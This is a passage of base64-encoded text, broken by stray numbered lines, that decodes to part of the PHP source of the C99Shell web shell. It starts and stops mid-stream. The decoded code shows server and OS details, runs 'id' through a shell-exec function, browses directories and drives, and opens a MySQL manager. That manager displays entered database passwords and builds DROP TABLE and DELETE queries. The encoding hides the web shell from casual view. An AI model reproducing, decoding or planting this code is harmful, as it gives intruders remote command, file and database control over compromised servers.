RkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9cCB7TUFSR0lO LVRPUDogMHB4OyBNQVJHSU4tQk9UVE9NOiAwcHg7IExJTkUtSEVJR0hUOiAxNTAlfWJsb2NrcXVvdGV7 IGZvbnQtc2l6ZTogOHB0OyBmb250LWZhbWlseTogQ291cmllciwgRml4ZWQsIEFyaWFsOyBib3JkZXIg OiA4cHggc29saWQgI0E5QTlBOTsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1i b3R0b206IDVlbTsgbWFyZ2luLXJpZ2h0OiAzZW07IG1hcmdpbi1sZWZ0OiA0ZW07IGJhY2tncm91bmQt Y29sb3I6ICNCN0IyQjA7fWJvZHksdGQsdGggeyBmb250LWZhbWlseTogdmVyZGFuYTsgY29sb3I6ICNk OWQ5ZDk7IGZvbnQtc2l6ZTogMTFweDt9Ym9keSB7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7fTwv c3R5bGU+PC9oZWFkPjxCT0RZIHRleHQ9I2ZmZmZmZiBib3R0b21NYXJnaW49MCBiZ0NvbG9yPSMwMDAw MDAgbGVmdE1hcmdpbj0wIHRvcE1hcmdpbj0wIHJpZ2h0TWFyZ2luPTAgbWFyZ2luaGVpZ2h0PTAgbWFy Z2lud2lkdGg9MD48Y2VudGVyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIg aGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01 IHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRl cj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRoIHdpZHRoPSIxMDElIiBoZWlnaHQ9IjE1IiBu b3dyYXAgYm9yZGVyY29sb3I9IiNDMEMwQzAiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cD48Zm9u dCBmYWNlPVdlYmRpbmdzIHNpemU9Nj48Yj4hPC9iPjwvZm9udD48YSBocmVmPSI8P3BocCBlY2hvICRz dXJsOyA/PiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iNSI+PGI+Qzk5U2hlbGwgdi4gPD9waHAg ZWNobyAkc2h2ZXI7ID8+PC9iPjwvZm9udD48L2E+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ ITwvYj48L2ZvbnQ+PC9wPjwvY2VudGVyPjwvdGg+PC90cj48dHI+PHRkPjxwIGFsaWduPSJsZWZ0Ij48 Yj5Tb2Z0d2FyZTombmJzcDs8P3BocCBlY2hvICRESVNQX1NFUlZFUl9TT0ZUV0FSRTsgPz48L2I+Jm5i c3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj51bmFtZSAtYTombmJzcDs8P3BocCBlY2hvIHdvcmR3cmFw KHBocF91bmFtZSgpLDkwLCI8YnI+IiwxKTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48 Yj48P3BocCBpZiAoISR3aW4pIHtlY2hvIHdvcmR3cmFwKG15c2hlbGxleGVjKCJpZCIpLDkwLCI8YnI+ IiwxKTt9IGVsc2Uge2VjaG8gZ2V0X2N1cnJlbnRfdXNlcigpO30gPz48L2I+Jm5ic3A7PC9wPjxwIGFs aWduPSJsZWZ0Ij48Yj5TYWZlLW1vZGU6Jm5ic3A7PD9waHAgZWNobyAkaHNhZmVtb2RlOyA/PjwvYj48 L3A+PHAgYWxpZ249ImxlZnQiPjw/cGhwCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQ QVJBVE9SLCRkKTsKaWYgKGVtcHR5KCRkKSkgeyRkID0gcmVhbHBhdGgoIi4iKTt9IGVsc2VpZihyZWFs cGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9CiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RP UllfU0VQQVJBVE9SLCRkKTsKaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikg eyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQokZCA9IHN0cl9yZXBsYWNlKCJcXFxcIiwiXFwiLCRk KTsKJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7CiRwZCA9ICRlID0gZXhwbG9kZShESVJFQ1RP UllfU0VQQVJBVE9SLHN1YnN0cigkZCwwLC0xKSk7CiRpID0gMDsKZm9yZWFjaCgkcGQgYXMgJGIpCnsK
10.
ICR0ID0gIiI7CiAkaiA9IDA7CiBmb3JlYWNoICgkZSBhcyAkcikKIHsKICAkdC49ICRyLkRJUkVDVE9S WV9TRVBBUkFUT1I7CiAgaWYgKCRqID09ICRpKSB7YnJlYWs7fQogICRqKys7CiB9CiBlY2hvICI8YSBo cmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJHQpLiImc29ydD0iLiRzb3J0LiJcIj48 Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvYj48L2E+IjsKICRp Kys7Cn0KZWNobyAiJm5ic3A7Jm5ic3A7Jm5ic3A7IjsKaWYgKGlzX3dyaXRhYmxlKCRkKSkKewogJHdk ID0gVFJVRTsKICR3ZHQgPSAiPGZvbnQgY29sb3I9Z3JlZW4+WyBvayBdPC9mb250PiI7CiBlY2hvICI8 Yj48Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD48L2I+ IjsKfQplbHNlCnsKICR3ZCA9IEZBTFNFOwogJHdkdCA9ICI8Zm9udCBjb2xvcj1yZWQ+WyBSZWFkLU9u bHkgXTwvZm9udD4iOwogZWNobyAiPGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPiI7Cn0KaWYg KGlzX2NhbGxhYmxlKCJkaXNrX2ZyZWVfc3BhY2UiKSkKewogJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2Uo JGQpOwogJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkZCk7CiBpZiAoJGZyZWUgPT09IEZBTFNFKSB7 JGZyZWUgPSAwO30KIGlmICgkdG90YWwgPT09IEZBTFNFKSB7JHRvdGFsID0gMDt9CiBpZiAoJGZyZWUg PCAwKSB7JGZyZWUgPSAwO30KIGlmICgkdG90YWwgPCAwKSB7JHRvdGFsID0gMDt9CiAkdXNlZCA9ICR0 b3RhbC0kZnJlZTsKICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMik7CiBl Y2hvICI8YnI+PGI+RnJlZSAiLnZpZXdfc2l6ZSgkZnJlZSkuIiBvZiAiLnZpZXdfc2l6ZSgkdG90YWwp LiIgKCIuJGZyZWVfcGVyY2VudC4iJSk8L2I+IjsKfQplY2hvICI8YnI+IjsKJGxldHRlcnMgPSAiIjsK aWYgKCR3aW4pCnsKICR2ID0gZXhwbG9kZSgiXFwiLCRkKTsKICR2ID0gJHZbMF07CiBmb3JlYWNoIChy YW5nZSgiYSIsInoiKSBhcyAkbGV0dGVyKQogewogICRib29sID0gJGlzZGlza2V0dGUgPSBpbl9hcnJh eSgkbGV0dGVyLCRzYWZlbW9kZV9kaXNrZXR0ZXMpOwogIGlmICghJGJvb2wpIHskYm9vbCA9IGlzX2Rp cigkbGV0dGVyLiI6XFwiKTt9CiAgaWYgKCRib29sKQogIHsKICAgJGxldHRlcnMgLj0gIjxhIGhyZWY9 XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkbGV0dGVyLiI6XFwiKS4iXCIiLigkaXNkaXNr ZXR0ZT8iIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnTWFrZSBzdXJlIHRoYXQgdGhlIGRpc2tldHRl IGlzIGluc2VydGVkIHByb3Blcmx5LCBvdGhlcndpc2UgYW4gZXJyb3IgbWF5IG9jY3VyLicpXCIiOiIi KS4iPlsgIjsKICAgaWYgKCRsZXR0ZXIuIjoiICE9ICR2KSB7JGxldHRlcnMgLj0gJGxldHRlcjt9CiAg IGVsc2UgeyRsZXR0ZXJzIC49ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsZXR0ZXIuIjwvZm9udD4iO30K ICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOwogIH0KIH0KIGlmICghZW1wdHkoJGxldHRlcnMpKSB7ZWNo byAiPGI+RGV0ZWN0ZWQgZHJpdmVzPC9iPjogIi4kbGV0dGVycy4iPGJyPiI7fQp9CmlmIChjb3VudCgk cXVpY2tsYXVuY2gpID4gMCkKewogZm9yZWFjaCgkcXVpY2tsYXVuY2ggYXMgJGl0ZW0pCiB7CiAgJGl0 ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOwogICRpdGVtWzFd ID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7CiAgJHYgPSByZWFscGF0aCgkZC4i Li4iKTsKICBpZiAoZW1wdHkoJHYpKSB7JGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQp OyB1bnNldCgkYVtjb3VudCgkYSktMl0pOyAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7 fQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOwog IGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7IjsKIH0KfQplY2hvICI8L3A+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CmlmICgo IWVtcHR5KCRkb25hdGVkX2h0bWwpKSBhbmQgKGluX2FycmF5KCRhY3QsJGRvbmF0ZWRfYWN0KSkpIHtl Y2hvICI8VEFCTEUgc3R5bGU9XCJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9 MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29s b3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD1c IjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iLiRkb25hdGVkX2h0bWwuIjwvdGQ+PC90cj48L3RhYmxlPjxi cj4iO30KZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZVwiIGNlbGxT cGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVc IiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQg d2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+IjsKaWYgKCRhY3QgPT0gIiIpIHskYWN0ID0gJGRz cGFjdCA9ICJscyI7fQppZiAoJGFjdCA9PSAic3FsIikKewogJHNxbF9zdXJsID0gJHN1cmwuImFjdD1z cWwiOwogaWYgKCRzcWxfbG9naW4pICB7JHNxbF9zdXJsIC49ICImc3FsX2xvZ2luPSIuaHRtbHNwZWNp YWxjaGFycygkc3FsX2xvZ2luKTt9CiBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxf cGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQogaWYgKCRzcWxfc2VydmVyKSB7 JHNxbF9zdXJsIC49ICImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpO30K IGlmICgkc3FsX3BvcnQpICAgeyRzcWxfc3VybCAuPSAiJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGF ycygkc3FsX3BvcnQpO30KIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh 0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQogJHNxbF9zdXJsIC49ICImIjsKID8+PGgzPkF0dGVudGl vbiEgU1FMLU1hbmFnZXIgaXMgPHU+Tk9UPC91PiByZWFkeSBtb2R1bGUhIERvbid0IHJlcG9ydHMgYnV ncy48L2gzPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2V sbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDA lIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmN vbG9yPSIjQzBDMEMwIj48dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIGNvbHNwYW49IjIiIHZ hbGlnbj0idG9wIj48Y2VudGVyPjw/cGhwCiBpZiAoJHNxbF9zZXJ2ZXIpCiB7CiAgJHNxbF9zb2NrID0 gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xvZ2luLCAkc3FsX3B hc3N3ZCk7CiAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsKICBAbXlzcWxfc2VsZWN0X2RiKCRzcWx fZGIsJHNxbF9zb2NrKTsKICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgeyRzcWxfcXVlcnlfcmV zdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0 gbXlzcWxfc21hcnRlcnJvcigpO30KIH0KIGVsc2UgeyRzcWxfc29jayA9IEZBTFNFO30KIGVjaG8gIjx iPlNRTCBNYW5hZ2VyOjwvYj48YnI+IjsKIGlmICghJHNxbF9zb2NrKQogewogIGlmICghJHNxbF9zZXJ
11.
2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9CiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCB jb25uZWN0PC9iPjwvY2VudGVyPiI7IGVjaG8gIjxiPiIuJGVyci4iPC9iPiI7fQogfQogZWxzZQogewo gICRzcWxxdWlja2xhdW5jaCA9IGFycmF5KCk7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiSW5 kZXgiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik uIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSI uaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnM oJHNxbF9wb3J0KS4iJiIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlF1ZXJ5Iiwkc3FsX3N 1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOwogICRzcWxxdWl ja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0 iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGF ycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik uIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9c2VydmVyc3R hdHVzIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmw uImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXN zd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2l hbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQ pLiImc3FsX2FjdD1zZXJ2ZXJ2YXJzIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2V zc2VzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4 pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0 iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJ zKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXByb2Nlc3NlcyIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJ yYXkoIkxvZ291dCIsJHN1cmwuImFjdD1zcWwiKTsKICBlY2hvICI8Y2VudGVyPjxiPk15U1FMICIubXl zcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiI pIHJ1bm5pbmcgaW4gIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWx jaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1 sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJ zKCRzcWxfcGFzc3dkKS4iXCIpPC9iPjxicj4iOwogIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4 gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4 kaXRlbVsxXS4iXCI+PGI+Ii4kaXRlbVswXS4iPC9iPjwvYT4gXSAiO319CiAgZWNobyAiPC9jZW50ZXI +IjsKIH0KIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsKIGlmICghJHNxbF9zb2NrKSB7Pz48dGQgd2lkdGg 9IjI4JSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxmb250IHNpemU9IjUiPiBpIDw vZm9udD48L2NlbnRlcj48bGk+SWYgbG9naW4gaXMgbnVsbCwgbG9naW4gaXMgb3duZXIgb2YgcHJvY2V zcy48bGk+SWYgaG9zdCBpcyBudWxsLCBob3N0IGlzIGxvY2FsaG9zdDwvYj48bGk+SWYgcG9ydCBpcyB udWxsLCBwb3J0IGlzIDMzMDYgKGRlZmF1bHQpPC90ZD48dGQgd2lkdGg9IjkwJSIgaGVpZ2h0PSIxIiB 2YWxpZ249InRvcCI+PFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR 0aD0iMTAwJSIgYm9yZGVyPTA+PHRyPjx0ZD4mbmJzcDs8Yj5QbGVhc2UsIGZpbGwgdGhlIGZvcm06PC9 iPjx0YWJsZT48dHI+PHRkPjxiPlVzZXJuYW1lPC9iPjwvdGQ+PHRkPjxiPlBhc3N3b3JkPC9iPiZuYnN wOzwvdGQ+PHRkPjxiPkRhdGFiYXNlPC9iPiZuYnNwOzwvdGQ+PC90cj48Zm9ybSBhY3Rpb249Ijw/cGh wIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImF jdCIgdmFsdWU9InNxbCI+PHRyPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2xvZ2luIiB 2YWx1ZT0icm9vdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiB uYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHl wZT0idGV4dCIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3RkPjwvdHI+PHR yPjx0ZD48Yj5Ib3N0PC9iPjwvdGQ+PHRkPjxiPlBPUlQ8L2I+PC90ZD48L3RyPjx0cj48dGQgYWxpZ24 9cmlnaHQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSJsb2NhbGhvc3Q iIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfcG9ydCI gdmFsdWU9IjMzMDYiIG1heGxlbmd0aD0iNiIgc2l6ZT0iMyI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InN 1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC9 0YWJsZT48L3RkPjw/cGhwIH0KIGVsc2UKIHsKICAvL1N0YXJ0IGxlZnQgcGFuZWwKICBpZiAoIWVtcHR 5KCRzcWxfZGIpKQogIHsKICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InR vcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2l hbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXN zd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ 9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHN pemU9IjEiIG5vc2hhZGU+PD9waHAKICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGI pOwogICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgIGVsc2UKICAgewo gICAgZWNobyAiLS0tWyA8YSBocmVmPVwiIi4kc3FsX3N1cmwuIiZcIj48Yj4iLmh0bWxzcGVjaWFsY2h hcnMoJHNxbF9kYikuIjwvYj48L2E+IF0tLS08YnI+IjsKICAgICRjID0gMDsKICAgIHdoaWxlICgkcm9 3ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskY291bnQgPSBteXNxbF9xdWVyeSAoIlNFTEV DVCBDT1VOVCgqKSBGUk9NICIuJHJvd1swXSk7ICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSg kY291bnQpOyBlY2hvICI8Yj67Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfZGI9Ii5odG1 sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiImc3FsX3RibD0iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSk uIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iPC9iPjwvYT4gKCIuJGNvdW50X3Jvd1s wXS4iKTwvYnI+PC9iPiI7IG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7ICRjKys7fQogICAgaWYgKCE
12.
kYykge2VjaG8gIk5vIHRhYmxlcyBmb3VuZCBpbiBkYXRhYmFzZS4iO30KICAgfQogIH0KICBlbHNlCiA gewogICA/Pjx0ZCB3aWR0aD0iMSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3B ocCBlY2hvICRzcWxfc3VybDsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw /cGhwCiAgICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwogICBpZiAoISRyZXN1bHQ pIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgIGVsc2UKICAgewogICAgPz48Zm9ybSBhY3Rpb24 9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHV lPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGV jaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5 hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXN zd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGh wIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGV uIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3B vcnQpOyA/PiI+PHNlbGVjdCBuYW1lPSJzcWxfZGIiPjw/cGhwCiAgICAkYyA9IDA7CiAgICAkZGJzID0 gIiI7CiAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgeyRkYnMgLj0gIjx vcHRpb24gdmFsdWU9XCIiLiRyb3dbMF0uIlwiIjsgaWYgKCRzcWxfZGIgPT0gJHJvd1swXSkgeyRkYnM gLj0gIiBzZWxlY3RlZCI7fSAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj4iOyAkYysrO30KICA gIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOwogICA gZWNobyAkZGJzOwogICB9CiAgID8+PC9zZWxlY3Q+PGhyIHNpemU9IjEiIG5vc2hhZGU+UGxlYXNlLCB zZWxlY3QgZGF0YWJhc2U8aHIgc2l6ZT0iMSIgbm9zaGFkZT48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx 1ZT0iR28iPjwvZm9ybT48P3BocAogIH0KICAvL0VuZCBsZWZ0IHBhbmVsCiAgZWNobyAiPC90ZD48dGQ gd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiIHZhbGlnbj1cInRvcFwiPiI7CiAgLy9TdGFydCBjZW5 0ZXIgcGFuZWwKICAkZGlwbGF5ID0gVFJVRTsKICBpZiAoJHNxbF9kYikKICB7CiAgIGlmICghaXNfbnV tZXJpYygkYykpIHskYyA9IDA7fQogICBpZiAoJGMgPT0gMCkgeyRjID0gIm5vIjt9CiAgIGVjaG8gIjx ociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UaGVyZSBhcmUgIi4kYy4iIHRhYmxlKHMpIGl uIHRoaXMgREIgKCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iKS48YnI+IjsKICAgaWYgKGNvdW5 0KCRkYnF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRkYnNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB 7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiBdICI7fX0KICA gZWNobyAiPC9iPjwvY2VudGVyPiI7CiAgICRhY3RzID0gYXJyYXkoIiIsImR1bXAiKTsKICAgaWYgKCR zcWxfYWN0ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJ veHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3V ic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCR zcWxfYWN0ID09ICJ0YmxlbXB0eSIpIHskc3FsX3F1ZXJ5ID0gIiI7IGZvcmVhY2goJGJveHRibCBhcyA kdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSBGUk9NIGAiLiR2LiJgIFxuIjt9ICRzcWxfYWN0ID0gInF 1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0Ymw 